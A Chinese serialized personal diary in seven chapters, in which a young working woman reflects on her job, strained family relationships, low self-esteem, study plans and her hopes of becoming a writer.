《生常》


 第1章

    今天天气很热！不过我还是穿了很厚的衣服，因为我非常的担心温度会降下来而我会因此受凉！因为我的很特别的方式，所以我的衣服今天被汗透湿了！可是下午我仍然没有换衣服，因为想着反正都这样子了，就穿到晚上吧！
    下班，发现一条街上的人，都穿短袖，非常清爽的感觉，而我一个人穿很厚的长袖。我感觉自己非常的奇怪！逃一样飞快的回家！我实在感觉这样的自己有一点点尴尬！
    回家了以后感觉很冷，因为我的房间非常的阴森森的！不过这样子的房间正好！用来看小说！我最近非常的沉迷于小说世界！
    因为小说里的世界特别的奇幻美好！科幻很好，仙侠也好，都特别的吸引人！因为我是女孩子，我特别喜欢美好的女主角！因为我想像她们那样能干，很多的事情可以考虑清楚，很多的难题可以迎刃而解，有很多的能力，她们面对学习会吃苦耐劳，面对目标会非常的执着！这是我所向往的优点！
    我也想要去构造这样子的一个人，而我还不太完善，我需要很多很多的时间和想法去成长！成长成一个勇敢的面对自己内心的人！成长成和女主角类似的人！成长成我所喜欢的那些优点的人！
    这个想法我仅仅只有念头而已，怎么长，怎么面对，怎么解决，还需要很多的时间！
    今天领导把重要的事给同事了！我心里非常的的开心，因为我可以偷懒了，天知道那些事得有多复杂！所以我哦天天装傻充楞，终于给了领导一个我是一个高分低能的印象！表面上看起来我好难啊！这个不会这个不懂，怎么办怎么办？一开始我也有想过争取在领导面前好好表现的我会帮她做很多事的！后来我发现事情多得让我头秃，然后我还需要考虑很多工作无关的东西，对于我这种单细胞生物来说，我只喜欢单线程的事情，如果一件事情我做好了我还需要考虑这个，考虑那个，就很烦躁！干脆就让同事去干！虽然这样子工资可能更低一点，可是我实在不想面对复杂到令人头秃的人际关系！反正下晚班搞好自己的事情，就额弥陀福了！因为自己本职需要做的事情也很多！对我来说很难！
    虽然这显得我没有什么智商。但是我不需要面对很多复杂的东西！人际关系对我来说超级难！我为了生存只能维持好我是个木头人这样子的角色！我怎么知道你一一闭眼一睁眼到底在想什么，到底又是什么弯弯道道的东西！极无语子！而同事在这方面是非常的擅长！能搞得定，我很开心！
    不过同事最近累的和狗样，因为又是有家的人，比不得我这种单身狗自在，然后家里的事情一堆，工作的事情一堆，有的时候经常感觉她在生气，我也不太懂她究竟是在生工作的气还是在生家庭的气，反正就是很生气！
    不管怎么样还是比较希望她的生活会是很美满幸福的吧！因为不幸福的话，以后我的工作场景几乎都是满满的抱怨！实在是很影响我工作的心情！所以我希望我身边的人都是幸福的！这样我上班才会心情好！
    至于为什么会有这样子的觉悟！还是拜以前的老师所赐！因为她当年离婚了，刚好离婚的时候就是我刚开始上班的时候，我什么都不会，所以被骂的狗样，因为我被代入了她想象中的第三者的样子。。。我内心是非常崩溃的，可是我没有办法，我害怕很多东西，我也确实不太能干，所以只能忍着！忍的太久了，我也抑郁了！或者我本来就很抑郁，而这件事导致我更加抑郁！
    这件事给我的想法是我希望我身边的人会是幸福的吧！至少面对每一个人都这样祝福，虽然结果都是听天意的，但是这样子会让我感觉我对此是没有遗憾的！看到伤心的人，我会不自觉的心软！而这玩样子的话以后就不会负能量受到影响了！
    无论别人的事情是怎么样的！只要她处于痛苦和难过的时候，我不会在心里嘲笑她，不会在表面嘲笑她，能够给予一些力所能及的帮助。或者我帮不了，可是我不会给她添加难处！我就会很心安了！希望他人是好起来的吧！此后，无论发生什么？我都不会受到很大的影响！
    这是我一个傻孩子的生存之道！

 第2章

    过节，我妈妈和我吵架了！
    因为她叫我去相亲我不愿意去！我确实到了年龄，可是我每次听到她说叫我相亲或者嫁人我都很难受，很痛苦！
    我记得小时候，她过年回家，我对她充满了抱怨！很怨很怨恨她，很强烈的一种情绪！在埋怨她打工走了那就久！她那次给我买了一串珠子，很大一颗，特别的白！我感觉不到自己喜欢它，直到我把它送给了别人，我才突然想起来我很喜欢那串珠子，可是送给别人了，我就没有去要回来！那段时间我送了很多很多的东西，因为没有人陪我玩，只要把自己所有的东西都送给别人，就有人陪我玩了！其实我也不知道玩会是什么感觉，我感觉我一个人也挺好的！
    也许是因为这样子的想法！所以我面对喜欢的人喜欢的事，我都是送给别人的！这是我根生蒂固的很潜意识的想法！我一直都没有发现它！我知道这是我病，可是我没有找到我的药！
    因为这个原因，我很害怕去面对爱情，和想要的东西！我很害怕去追求它，因为我追到了会把它送给别人的！我难以控制自己的这个想法！
    记得有一个人我很喜欢，可是我从来没有去关注他，他的家庭，他的人品，他的性格。我只知道我喜欢他而已！我害怕去接近他，害怕他了解我的一切，害怕我的病会把他送走！我认为得到了又失去的感觉比从来没有得到会更不好吧！
    这是一个错误的观点！可是等我明白的时候，已经很晚了！记得有人曾说我会不会后悔！我想即使重来很多次，我的病可能也只能给我这个选择！
    慢慢的心里长了病，又有了新的病！互相折磨着我的心灵！
    我好像没有和自己和解过，也没有和父母和解过！父母是从来不知道我这样子的想法的！
    有的时候问过，初恋会影响学习吗？他们没有回答！而我疯狂的想象这是不好的！所以也就扼杀掉了萌芽的念头！
    因为扼杀掉了，所以我整个人也就变得不那么按着别人期待里那样成长了！
    我会告诉我的妈妈我去网吧上网了，我玩游戏了！我谈过恋爱的！慢慢的我在人群中的形象也改变了很多，我改掉了我的好形象！给人一种坏孩子的样子！我在试探她会怎么办呢？
    我幻想过她会对我说，一些美好的话！而这样子的想法也就只是想想而已！现实中的她给的是让我失望的答案！
    我好像全身都被浇了冷水一样，那段时间我的心灵很冷，很难受，而且也没有办法哭了！
    这都是自作自受！我试探着什么，所以得到了失望的答案！这是我脑子里的编剧想要的，不是吗？只是得到了我的实实在在的想法而已！
    现在流的泪就是当初脑子进的水！
    我很嫌弃我妈妈，因为她被生活压弯了腰，一头乱糟糟的头发，歇斯底里的性格，酸溜溜的话语！我内心里特别的希望她也是和别人一样幸福的人，可以穿着体面一点点，可以做自己心里想做的事，可以对生活不那么失望！可以心灵独立！可以心里面有光亮的感觉！
    可是她很难实现！爸爸生病了，一大家子需要她操劳！她的心情非常的焦虑，事情不是她想象的那么复杂，可是她面对生活的心情糟透了！所以她每天都在生气，不开心，骂人，还有面对自己的失望，会一点点的投射出来！因为这样子的情况，我们家处于一种绝望的心情里。
    书上说妈妈会是什么样子，以后得女儿也会是这个样子！这句话让我感觉到绝望！我不想长成这个样子！可是慢慢的发现自己的性格渐渐的和妈妈一样！一样的爱抱怨，一样的什么事情发生了错误第一时间问题都是别人的！一样的不开心，一样的绝望！很想逃跑可是我逃不掉！
    沉浸在这种情绪里的我歇斯底里的绝望！很不可思议！我并不希望我能够把我的这段基因传递下去，因为很难过，很悲伤！
    梦里面我在跳楼！因为我很累很累了！想到我要去成家立业，想到我的以后的孩子他会有很多的不开心，他的生活充满了绝望，我感觉自己很难过！就像面对未来的那个人，本来一个正常一点的人，他和她可以一起共同面对生活的挑战，而与我当搭档，可是就是一个人在这个世界孤军奋战，还有我在不停的扯后腿！生活真不容易啊！
    至少现在的我不想去认识新的人，不想去给别人增加负担！我想要去找我的心在哪里，想遇见我心灵涌起力量的样子！
    突然想起来有一个人他说我学习很好，可是却并没有什么卵用！因为我没有热爱的东西！我只是在按部就班的在生活而已！那时他说的时候，我并没有否认！因为我总是别人说什么就听什么，从不独立思考！说白了叫单纯，说实在点叫白痴！
    我现在想起来，也不觉得有什么愤怒的感觉！我也不清楚是什么原因？
    慢慢的找到我所热爱的事情吧！哪怕只是爱好也好呀！
    最近特别的想做好吃的，就像自己喜欢的那个美食博主一样！那么好好的去做吧！
    也许等我有了心，我会去选择嫁人生子，可是现在没有心的我，我不想去耽误任何人！

 第3章

    今天上班！可能不算忙，也可能很忙！我也判断不出来，因为我感觉不忙！做的事比一开始我来的多！不过很好的是我学会了老师教的方法，所以比老师做事更慢，可是比一开始来的我更快！
    我成长了一点点！面对比平时多一点点的事，我也能应付的过来了！
    下午的时候，老师问我在科室里好不好？我说这里很好！让我对比比原来的地方好不好？我说比原来的地方好！其实哪里都一样，都是需要好好的工作，好好的做事！既来之，则安之！心灵需要过门！在哪里工作做事就在哪里就好好的专心，用心！
    因为这样子更不会给自己造成麻烦！也不会添麻烦！记得一个小姐姐她考到了更好的单位，碰到我们原来单位的人时，她说那里又累又苦，还是我们原单位最好！然后到了新单位说新单位最好，尽自己最大的努力发光发热！。。。我每次想起来就会想到人精这个词！也许这也是生活的一种智慧吧！既不会让老同事感觉到不开心，也不会新同事感觉到不愉快！
    这样子的事情又让我想到了一两个小姐姐！她们的处事方式与我的不一样！几年前，闲暇的时候我们一起聊天，她们会说很多很让我接受不了的事情，类似于八卦！我特别特别的厌恶，听到这样子的语言都觉得很累心累！可是又不能拒绝，因为同事之间！每次听完之后都是负能量满满的！我一直搞不懂为什么人会喜欢这个东西呢？后来发现我们之间的感情联系一直都不太好！那种感觉就像她如果不和我说八卦，我们两个人待在一起就好像没话聊了一样！那时我以为八卦是这样子的作用！可是我还是接受不了！后来我发现那些聊八卦的小姐姐学习很好很好，她和她说坏话的对象成为了好朋友！我每次想起这样子的人就感觉很神奇！女人心，海底针啊！虽然我也是女的，但是我也搞不懂！
    再成长一会儿，再次想起这样子的事来！发现这种八卦的作用大概就是释放自己的攻击性！使自己的压力释放出来，而像我这样子的话很容易去攻击自己的内心！我想也许是因为她们把自己内心里的压力通过这样子的方式释放出来了，所以她们的内心是没有负能量的，所以她们做事情也就更专注！也许是这样子的吧！
    我以前不明白！现在也就明白了！有很多东西，耳听为虚眼见也不一定为实！认真你就输了！做好自己的事情，好好学习！然后那些杂事想办法不让它影响心情！如果影响了，就想办法释放出来！尽量保持自己内在心灵的安静平和！方法嘛！百度上有，各种各样的，选择一个让自己开心的方式就好！
    今天看到了一个博主，自己喜欢的类型！她穿了一件衣服，我也好想买同款！可是快要到秋天了！我在纠结要买哪一件！短款的衣服好看，可是我担心秋天会冷！长款的更贵！纠结啊！而且是白色的，白色的衣服一般来说不好洗，怕会弄脏！最近买的白裙子不太让我满意！因为我想象中的我穿上白衣服是很美很仙的，实际上穿上它把我所有的缺点都展现的淋漓尽致，奈何没文化，只能说一句:丑！
    同事的一条紫色的裙子很美很美，我也搜到了同款，我有点想买，可是同事是那种一发现有人和她穿了同款衣服的人，就直接把自己新衣服或者给扔掉压箱底的那种人！我纠结要不要买！我想买的原因主要是同事穿起来像仙女一样很美！可是我比她矮，还黑！我确定要去东施效颦？想一想还是算了吧！浪费钱，可能还不好看！
    最近的天气热，可是天气预报说会降温下雨！然后我的衣服穿的还是厚的，热死我了！刚把夏天的衣服整理好，现在又要拿出来了！无奈了！还好我的衣服不多！
    过两天快要考试了！需要好好用功！用功其实是比较容易的，难得是如果我考的很好，我要怎么去面对他人的负能量！我也不知道为什么？为什么我会感觉到自己学习好做事好，会带来好像别人都不喜欢我的感觉？也许是因为我压力很大，学习好了怕别人会超过，也许是因为他人会感觉到自己的智商受到了打击，所以负能量满满，所以对我进行了攻击加成！总之，我学习很好对我来说突然变成一件有负担的事了！可是我仍然需要学习很好，因为学习不好，会扣钱！而且我的年龄越来越大了！前段时间和以前的同学一起考试，发现她成长了很多，让我有了危机感！她对学习的理解比我更透彻！很多东西她都能很好的讲出来！所以我需要好好的学习，提升自己的能力，让我不会在同龄人面前抬不起头来！
    所以我需要更加努力！不管是单位需要，还是自身提高！都需要好好学习！无论是知识类的，还是生活里的智慧！都需要认真努力！
    难道很多东西我们看到的也许只是片面的，也许是不完整的！但愿我们可以好好去想一下，怎么样才能让自己心里进一点光？看到一些事听到一些事，下意识的去想象美好的那一面！慢慢的成长吧！

 第4章

    今天去看了电影《姜子牙》！看完之后我哭了，可是我也不知道这是为什么？也搞不明白电影究竟讲什么？好奇就去看吧！不过我也不后悔去看这个电影！因为我已经很久没有情绪波动了，能够有感而发的哭一哭还是比较好的！那样子会让我感觉到我其实是一个真正的人类！而不是为了生存的工具人！
    中午去吃大餐！给很多人包过很多红包！我都忘记我包过钱了！直到老师发短信给我。我才发现我今天中午可以去吃饭！
    老师说那家店的口味很好！我没有感受到，不过我也吃了很多！我认为大家感觉菜很好吃是因为他们一起说话的感觉很放松吧！第一次吃了牛排！有点惊讶！还行！因为我最小，所以我给大家倒水！倒了很多很多水！以前我很少倒水，因为我不太懂这种规矩！这次倒水的体验很好的！因为我脑子里一直在想:大家多喝水就不会和我抢菜吃！所以倒水倒的很起劲！果不其然，后来我们吃完了饭菜！还有很多菜，我打包了很多！好多肉啊！还好有冰箱，这几天我都可以好好的加餐了！
    我以前很不好意思把饭菜打包回家！直到后来遇见了一个小姐姐，她家比我有钱，条件比我很好。她也是经常把饭局里的菜打包回家的人！比较好留的菜，比较喜欢的！可以节约一大笔开销，至少是一天的！这是我在她身上学到的！
    她每个月的花销也比我少！我挺羡慕她的，可以把自己的房间整理的更干净整洁，会自己做饭。学会的知识可以很顺利的展现给自己的朋友，非常的自信！感觉整个人都充满了幸福快乐的能量一样！
    我也曾很希望这是假的！有的时候会暗戳戳的想象着别人坏的那一面，让我的心里想到坏的那一面就感觉到平静，然后继续按照着懒羊羊的生活方式活着！
    这也是释放自己攻击性的一种方式吧！我需要学会释放完了可以好好的改变自己！尽量整齐一点，让自己的大脑看到我的房间环境会感觉到开心！它也就愿意去实现我所想要实现的事情了！
    今天的工作很忙！我仍然有很多需要长进的地方！我虚心的接受老师给的批评！然后提升我自己！加油吧！
    钱难挣，屎难吃！面对现实，同志仍需努力！
    我想要去写点什么！可是我不太会思考很多东西！我突然发现我居然有推荐票！很感动也很不可思议！谢谢！
    妹妹说我写的文应该会很少有人看，因为我几乎都是流水账一样的！而且有的地方并没有什么逻辑！现在还好一点，以前的时候，我都不知道我表达的是什么意思？我自己过了几天我都看不懂！所以看到了推荐票，我是非常的惊讶和惊喜的！有点感动！感觉到了快乐，谢谢！
    今天去看了一个喜欢的up的视屏，她有一件衣服我超级喜欢，特别的想买。可是我忘记在哪个视频了，找了我好久，翻了她很多一开始的视频！看了几个之后才发现一个让我很吃惊的事情，原来我眼睛里那么优秀的她，居然做过那么多翻车的菜！不过她仍然很值得学习。因为她在短短两年时间就做的越来越好了，一开始的她居然连菜刀都不会拿，而后来的她，已经能做很多很多很美味的食物了！不可思议，她也是个很优秀的人呢！至少在自己喜欢的事情上坚持了很久很久，而且慢慢的在成长！然后我找了很久她的那件衣服，我超级超级想要买的，后来仔细去看才发现，她的衣服也是很简单很简单很平凡的衣服，大概二十块钱以内！我突然之间又不想要买她同款的衣服了！因为我想要买她那样的衣服，大概是因为我很想成为她这样子的人。热爱一件事，并且坚持下去！大概就是这种精神吧！所以即使我没有穿同款的衣服，我也可以和她一样去热爱生活，做自己喜欢的事情，并且坚持下去吧！
    今天去退换货了，没想到退回去的费用比我的预期更少！我感觉到开心！但愿这次会顺利吧！
    不过如果东西很好，我是不想退的！因为损失的还是我的钱，钱虽然少，但是容易积少成多啊！但愿以后买到的物品都是能够让我满意的！
    妹妹上了大学之后，我整个人就颓废了！因为她在的时候。我有一个主心骨一样，我的灵魂和身体依赖着她，她高中的时候我会做菜给她吃，所以我也就用了我毕生所学去做了一些菜，然后顺便自己也能吃点好的，只要不给她做饭，我整个人就像在吃猪食一样，做出来的东西特别的没胃口！因为看到她，我的内心里会有一种力量，感觉到自己被需要着。
    后来她上大学了，我就懒散了！没劲了！我知道这样子的我自己是一个寄生的状态。当我的宿主走了，我就变得奄奄一息了！
    她考的还行，本科一本！她自己认为一般般，可是在很多人眼里她已经很优秀了！本来这是一件好事，可是我知道这个消息有一种来气的感觉！我也不知道是不是因为我的灵魂寄生在她那里，她走了我非常的不适应，很生气，还是因为我在嫉妒着她！因为她上大学了，优秀了，而我却没有，我没有上高中也没有上大学，我知道这对于我来说是一件非常遗憾的事，可是事情已经发生了，我需要去面对这样子的失落，也需要好好的和自己和解，妹妹优秀很好，而我也会是优秀的，抓紧现在，把握现在！做自己喜欢的事吧！
    我很失落因为她能够找到自己喜欢的事，能够拥有朋友，能够诚实的表达自己内心的喜好！而我面对自己喜欢的想要的。我会担忧很多东西！我已经在尽力的补偿我自己了，看到了喜欢的会买，看到了想要的，会尽力的实现它！可是我还是感觉到了我的失落感！我需要慢慢的去提升我自己！让我更自信一点！坦然的面对自己的阴暗面！
    其实我知道即使我去学习我也未必会学的很好！因为我天天三天打鱼两天晒网！三分钟热度！而她不会，她面对学习每天都很早起床，看书！忙完了家务的时候还在学习！而我面对这样子的情况我会找各种理由偷懒！我以前没有发现过这样子的事情！直到现在那些我忽略的看不见的事才被我看见了！我很失落，我面对我的结果！我想学吉他，然后弹了几下没弹了！想学缝纫，学习了一段时间没有学习了，想学摄影，学了一段时间没有学了！我总在找无数种借口，好多好多的理由，终于我也就得到了这样的结果！我花了很多钱，可是没有什么收获！这是一件悲伤的事情！可是我每次想起来我就想笑我自己！我好像在以取笑我自己为乐！可是我并不快乐呀！
    什么都做不好，并不快乐呀！没有朋友，并不快乐呀！乱糟糟的房间，并不快乐呀！
    我对我的人生总是充满着想象力。小的时候想象着很多美好的事情，所以我慢慢的实现了它们！我感觉这个世界是很容易就能得到满足，感觉很无聊！长大了之后，我会想象这个世界很多不好的事情，慢慢的这个世界也在实现着我都想象，我感觉我好纠结，悲伤郁闷！这些也是我想要的，也都实现了，可是我却没有办法回到以前，想象很美好的事情，去实现它！
    这是一个遗憾吧！所以慢慢的做事做人不要想那么多！撸起袖子好好干，自然而然就会得到我想要的结果了！这个过程必然是花了很多时间，精力，金钱，感情的！可是无论结果如何，对我而言一定是有收获的！收获有两个，一个是成功了，我实现了我自己的愿望，我获得了成就感，我能够好好的得意洋洋！另一个是失败了！失败了，可以选择总结经验，找一些高人，和他们沟通，然后成功了，这个过程虽然也是曲折了一点，可是我能够认识一些人，可能在路上收获了友谊，锻炼了人际关系，还有学会了的成就感！一个是失败了，我感觉灰心丧气的，然后再也不想碰它了！可是它成为了我的经验值，也许有一天碰到个类似的人，我们类似的经历会让我们感同身受，我们能够比别人更理解对方！可能这段经历会让我收获友谊知己，或者爱情！别问我怎么知道的，我居然在我丧到极致的时候遇见我的爱情，虽然我仍然失去了我的爱情，但是它给我带来的心灵的力量，仍然让我心存感激，感谢那些丧气满满的经历，让我学会了在不开心的低落的日子里唱歌，让我学会了坚持！
    所以无论是学什么，是自己心中所爱所想的，想学就去学吧！想做就去做吧！大不了就是失败而已！失败也是有收获的！不害怕生命里发生的每一个瞬间！

 第5章

    今天的天气很冷！变化好大啊！街上我看见一个小姐姐在穿着棉袄骑共享单车，风吹的她的头发非常的凌乱！我看着她我也凌乱了！因为我穿了毛衣，被风吹的还是感觉自己很单薄的样子！
    上班的时候才知道原来某个省都已经下雪了！难怪会冷的那么快！我去，我买的秋衣秋裤都没有穿几天，就要买冬天的衣服了吗？
    现在可是还没有到农历九月份啊！
    农历九月份是妈妈的生日，这次需要准备给她买礼物，我也不知道要买什么？先问一问，我害怕妈妈不喜欢我买的东西会说我乱花钱！而且我也确实不知道自己该买什么！
    今天做了一百道题！很想夸自己真棒，可是总数有两千五左右，所以我夸不出来！而且都很难的样子！计划每天完成250吧！250这个数字挺好的，我每次想到它都用来自嘲，特别是当自己感觉很难的时候！所以我需要起早床，做题！
    还有驾照的题需要刷！需要计划好时间来！
    最近的中午是越来越困了！感觉自己怎么睡都睡不好的感觉！早上也是这样子！也许我需要睡前一杯热牛奶，早上一杯咖啡！
    做了一点点手账，但是做手账的速度比较慢！不过也就花了十几分钟而已！所以我需要规划好这样子的零碎的时间！慢慢的坚持下去！
    今天打了一会儿字！电脑记录我有长进了，真好！玩了一会儿打字游戏！我想每天都打一个小时！因为玩这个游戏我不上瘾，还有就是需要英文的，所以可以练习单词，虽然我的单词其实很多东西都不懂，也没有那么多时间去研究这个，所以我需要好好的学习一会儿！每天花半个小时到一个小时去玩打字游戏！然后十几分钟做手账，半个小时做自己的题目，半个小时做驾照的题目！然后半个小时阅读！最近在看《平凡的世界》，虽然我的学识比较浅，但是多看一点点应该能让我提升一下！哪怕一丢丢都是很好的！然后每天晚上花五分钟记账！完美！
    还有一些课程还没有上完，我需要好好规划一下时间！我的手机不能水课程了，只能老老实实的看完我的课程！这让我非常的抓狂，虽然这些东西对我来说，多看一点有好处的！可是我很烦躁！我需要好好的调整我的情绪，然后把事情解决！因为躲不了啊！
    最近在看学习强国的课程！学习强国里有很多的课程都很好！不过我非常么有耐心看，因为好枯燥啊！所以我几乎打游戏的时候我就放强国的视频，边听边玩，我发现我对那种一看就打瞌睡的视频居然会有兴趣了！慢慢的培养我自己吧！希望我能学懂！希望我对我自己玩有想法的事情有兴趣！我在看中医的课程！这是一个对我来说有用的方法，我不知道对别人有没有用，也许也能给你带来帮助呢！
    我发现我自己的一些症状非常的符合里面的一些知识。也许我需要好好的修养自己！等我吃完我的菜！我再吃一些调理脾胃的药吧！
    最近在吃一些海鲜之类的东西，然后还有辛辣的食物！其实辣椒之类的东西挺好的！可是吃药期间不能吃这种东西所以我在吃辛辣类食物就不吃药，等吃完了这些菜再吃药！完美！
    我没有办法做到什么禁忌都不沾！所以很多事情都是缓慢的，时好时坏！这是我心灵的原因！我需要好好的找到我的毛病，然后改变我自己！
    今天就快要结束了！对于今天还有什么想法呢？
    今天老师说我弟弟是一个非常不自信的人，所以需要好好鼓励他！希望他早点成才！我没有感觉到他的不自信，我倒是感觉到我自己的不自信！一种深入骨髓的自卑感！
    一开始是因为一篇文章，那篇文章特别的美，写的是一个女孩子，她超级的自卑，她长的不好看，家里比较穷，她学习很好，可是被迫去打工了，后来她的内心有了深入骨髓的自卑感，所以那种自卑感成为了她人生里的力量，她学会了攒钱，学会了划算自己的生活！然后通过努力改变，她的生活越来越好！她说她是自卑的，因为自卑她收获很多！而我也是自卑的！可是我和她有了相反的路！我在纠结着一些东西和事情！可是这些东西和事情总是让我感觉自己很无语！
    我也有很多很多的自卑感！我没有很多物质上的东西，也没有美貌，没有很好的修养，没有很好的运动习惯，没有看书一点就通的能力，我需要学习很多很多遍，才能懂一些事情，然后过了一会儿又会忘记，忘记了继续学习，学习完了继续忘记！所以我很自卑！
    我打算做一件事情，所有的准备都做好了，在做的时候决定打退堂鼓！我也不知道我在害怕什么，也许害怕自己做不好，会觉得好丢人！所以每次做这些事情的时候都会迟疑！我很想对我自己说没关系的，只不过是失败个几十遍而已，几十遍过后一定会好起来的！去尝试一下吧！去体验一下！去给自己的人生记录一点什么，哪怕只是翻车！
    所以我决定我也做一个东西！用心！计划一下！
    把我想做的事，当成娱乐就不会感觉到累了！做自己喜欢的事。就不会拖延！加油吧！
    听说我们的心情它们也是值班的！星期一至星期日每天的心情都是不一样的！所以我想去观察一下，然后把我的情绪记下来，那样只要到了星期几我就有准备，今天是什么心情了！开心的那一天我就好好的开心，悲伤的那一天我就好好的悲伤！不去逃避和掩藏自己的情绪！好好的去体会它们！
    以前很喜欢把自己的情绪藏起来，因为我需要生存！不能乱发脾气，很多东西都需要理智去控制自己，所以虽然我仍然很平庸不得罪人，但是我感觉很丧还有沉重的不开心，因为我的情绪都被我自己压制住了！它们也是我的生命中很重要的我自己！我需要好好的接受它们，我的内心才会得到很好的的安宁！
    因此我需要我自己成长起来，好好的去体会我的情绪！
    晚安！

 第6章

    尝试了一下拼字，我的天哪，到底是在搞什么？难道是比写文的速度吗？可是我不是想玩这个啊？我需要上班，要准备早餐呢！
    好吧！以后晚上我再试这个功能！这个功能有什么作用的吗？我无法一边吃饭一边做事！
    。。。。
    现在到了晚上！早上失败了！继续挑战，我发现我还是高估了我自己！我还有一些事情没有做完！最近的学习又有很多！天哪！
    不过今天还是练了一会儿单词！打字，速度提升了一点点，然后中医课有一点点听懂了，不过我的效率挺慢的，主要是为了让自己对这门课不反感！看到它会感觉很舒服，就可以耐心学下去了！目的是达到了！
    今天在想很多东西！我在想如果以后我写的好，我应该要怎么构思角色！不过我发现我想的太早了！看了一些作者的作品，大部分都是十几万字以上，还有一百万的！我第一次写才那么一丢丢，想的太多了！
    我以前很爱看霸道总裁文，看完以后感觉自己也可以写，可是到了我有想法的时候，我发现我无法构思出这样子的角色出来！太难了！而且我的词汇量很少！学识不够，感情也不够丰富！
    我要放弃吗？
    我天天都在打退堂鼓！
    也许我应该改变一下自己的心理状态吧！也许我改变不了，可是用尽全力去努力一下也好！
    明天可以回家了！打算买点东西！吃一顿好吃的！我其实很想睡觉，可是我还有很多衣服没有拿回来，然后我也确实有几天没有回去了！家里人做的吃的是最好的！
    我好像对家里人有一点点埋怨！今天发现了我的心理状态！我也不知道为什么会这样子？也需要我又生病了吧！
    回忆起了一些事情，我在抱怨着很多东西！我也不知道我为什么要抱怨他们，他们已经在这个世界上用了自己最好的给我了，有很多东西都需要自己争取，不能全靠着别人给！父母其实也只是比较亲近的别人而已！也许我们的相处方式让我长成了亲职化的人，可是他们真的给了我们最好的了，他们也是这样子过来的，大家都是一代一代来的，如果我感觉不爽，那么我可以去做一个我认为很好很好的父母！毕竟这个世界上解决问题的方式就是谁难受谁解决！谁去想办法！
    记得看过一本书，书里面有一个女孩子她八岁左右，她抱怨家里不干净，总对妈妈说家里太乱了！很难受！可是她的妈妈生病了而且有很多的家务活，根本没有多余的时间去解决这些问题。女孩看着这种情况非常的难受，所以她选择自己收拾屋子，帮助母亲解决问题！看到这个故事的时候我就想到了我自己！
    我在家里就是一直抱怨这个，抱怨那个的，可是我心里也不会说，也没有动手去做，就那样事情还是和原来一样子！看到那个故事的时候我已经很大了。领悟到了什么，可是我发现已经很晚了！因为我长大了，也就帮不了多少忙！而且我的性格已经成了定局很难改变自己！你看，只要我去想，总是会去想这个事情怎么糟糕怎么来，永远与自己的心灵愿望相反！可是那个时候我也没有发现我的缺点！
    现在我只能记录下来！去反思一下我自己！
    那个时候的我感觉我自己未来会是一个小说家，我只是我自己笔下的人物！我在被未来的我所控制！因为那个时候的我感觉这样子简单的事情是个小朋友都会做到的，而那个时候的我却没有做到！
    我可能在塑造我自己，有点害怕和难受！那个时候害怕未来的自己会把我自己写的特别的丑陋，难受未来的我会继续记录这样子的一个我！
    你有过这种感觉吗？我们就像活在一本书里一样，只不过每个人的思想都是那只笔，我们的人生就是那一本书，书籍里的主角也是就是我们自己，我们看到的，遇到的，学到的。都是我们这本书的内容！也许等我们老了，挂了的时候，我们会以旁观者看着我们这样子奇奇怪怪的一生！但愿我们都能不后悔吧！但愿未来的我们会幸福吧！但愿现在的我们会努力去生长吧！
    我该如何去与过去的自己告别呢？每个阶段有每个阶段需要学会的事情！也有每个阶段留下来的心理阴影，我知道选择不一样结果也就不一样，可是曾经选择错了，我该怎么样与过去的自己告别呢？告别这种难受的不快乐的心情，我知道它们是我的生命里的一部分！因为不快乐所以它们变得很难受，我好希望我能够好起来，接受自己的情绪！再一次努力的成长
    生命里的所有东西都是有价格的！我需要努力啊！努力的成长！努力让自己配得上自己想要的！
    今天我的心情确实是比较悲伤的！今天星期三！记录下来吧！
    我以后会变成什么样子呢？如何才能更好！如何才能让自己心里舒服起来？
    好期待我能用心！
    我今天被夸奖了做事很好！有进步！过两天可能要挨罚了！因为一个仪器被我弄坏了，可能需要赔钱，不过还好那个仪器是比较便宜的！可是我也好难受啊！因为据说过一段时间会把我们安排去进修学习一些仪器的使用！那些仪器动不动就几十万，我好害怕，要是我弄坏了赔不起！可是这种事情打不了退堂鼓！啊！我的内心是崩溃的，哭的想笑！为什么不选择让自己做事更认真一点呢？
    还没有发生的事就不要想那么多！然后以后做事更认真一点！学会思考思考！
    天气越来越冷了！同事说自己最近感觉很冷很冷！然后身体非常不舒服！我也许也是这样子的！她们打算购买一些滋补类的东西，我也买吗？可是我的身体好像不能吃这种东西，我肠胃不好，吃了会被拉掉，然后还会增加负担！
    算了下次来！
    玩游戏的时候看了一点点中医的知识！感觉和西医的有一点点相似！有些内容，只是中医的名称和西医的不一样！不过大部分还是不一样的！慢慢学吧！可能我这样子学习也能学到个十年八年才能看懂！特别的漫长！怎么办呢？我需要提升速度吗？加油吧！
    打字更快了，也比较开心！计划250道题，今天刷了170，剩下的时间洗洗澡，然后刷题！驾照的还没有刷。今天计划五十道吧！
    然后今天有一个视频看的我好想笑啊！童话故事，解说比较搞笑，搞得我看了还想看，然后不知不觉就看了很长的时间！看了一集电视剧，好开心啊！我明天再看第二集！类似于霸道总裁型的！开心！我还有优酷的会员没有用完，好想再看电视剧啊！休息我就像堕落一下！今天晚上还想看小说，我越来越控制不住我自己了！我做完了题目就看小说！
    活着就是为了爽！做自己喜欢的事。让自己爽的事！有的事情，一开始做起来是不爽的，像学习，运动，一个小技能，可是学好了做好了，它们会让未来的自己越来越爽！
    加油吧！晚安！

 第7章

    昨天晚上看小说看到很晚！睡着了梦见了一些情节！想要构思下一本书！可是我还有好多东西没有学会！
    下一次吧！梦里面日久生情的男朋友居然是个外星人，然后他因为某种原因被困在很遥远的星球了！一无所知的我以最快的速度学会了很多知识然后我开着飞船去救他！救回来了！可是我也醒了！很想记住这种感觉！
    不过现在的语言还是很苍白无力！还有很多词语我需要学会使用，还有很多的优美的句子！需要学习！
    醒来的时候去看了其他人的书，一看就还想再看，很想看完！果然是大佬啊！万事开头难，中间难，结尾难！对我来说很多东西都很难！还是需要好好学习，积累知识！才能把事情做好吧！
    晚上了！今天睡了一天，本来好朋友要和我一起去逛街的！天冷，其实我不想逛街，因为逛街花的钱会超出我的预料！我每次进店都感觉自己脑子进了水一样，然后买的很贵很贵的衣服基本上穿不了多少次就塞衣柜里面！所以我不想去！可是朋友邀请了，我又不好拒绝，因为好久没有见面了！我很想见她！可是到了下午，我们就没有去逛街了！因为好朋友突然被叫的去上班了！所以我今天睡了一天！
    这种事没有办法的事！怎么样才能省钱呢？又能和朋友一起见面！我想过和其他人一样做一顿好吃的。和朋友一起吃，花的钱也比较少！可是我的房间比较乱！桌子上东西比较多，然后我做的菜也不知道合不合朋友的口味！所以也就搁浅了这个美好的想法！我感觉我还是需要去整理自己的房间，处理好自己的事情！然后再邀请她和我一起吃饭吧！
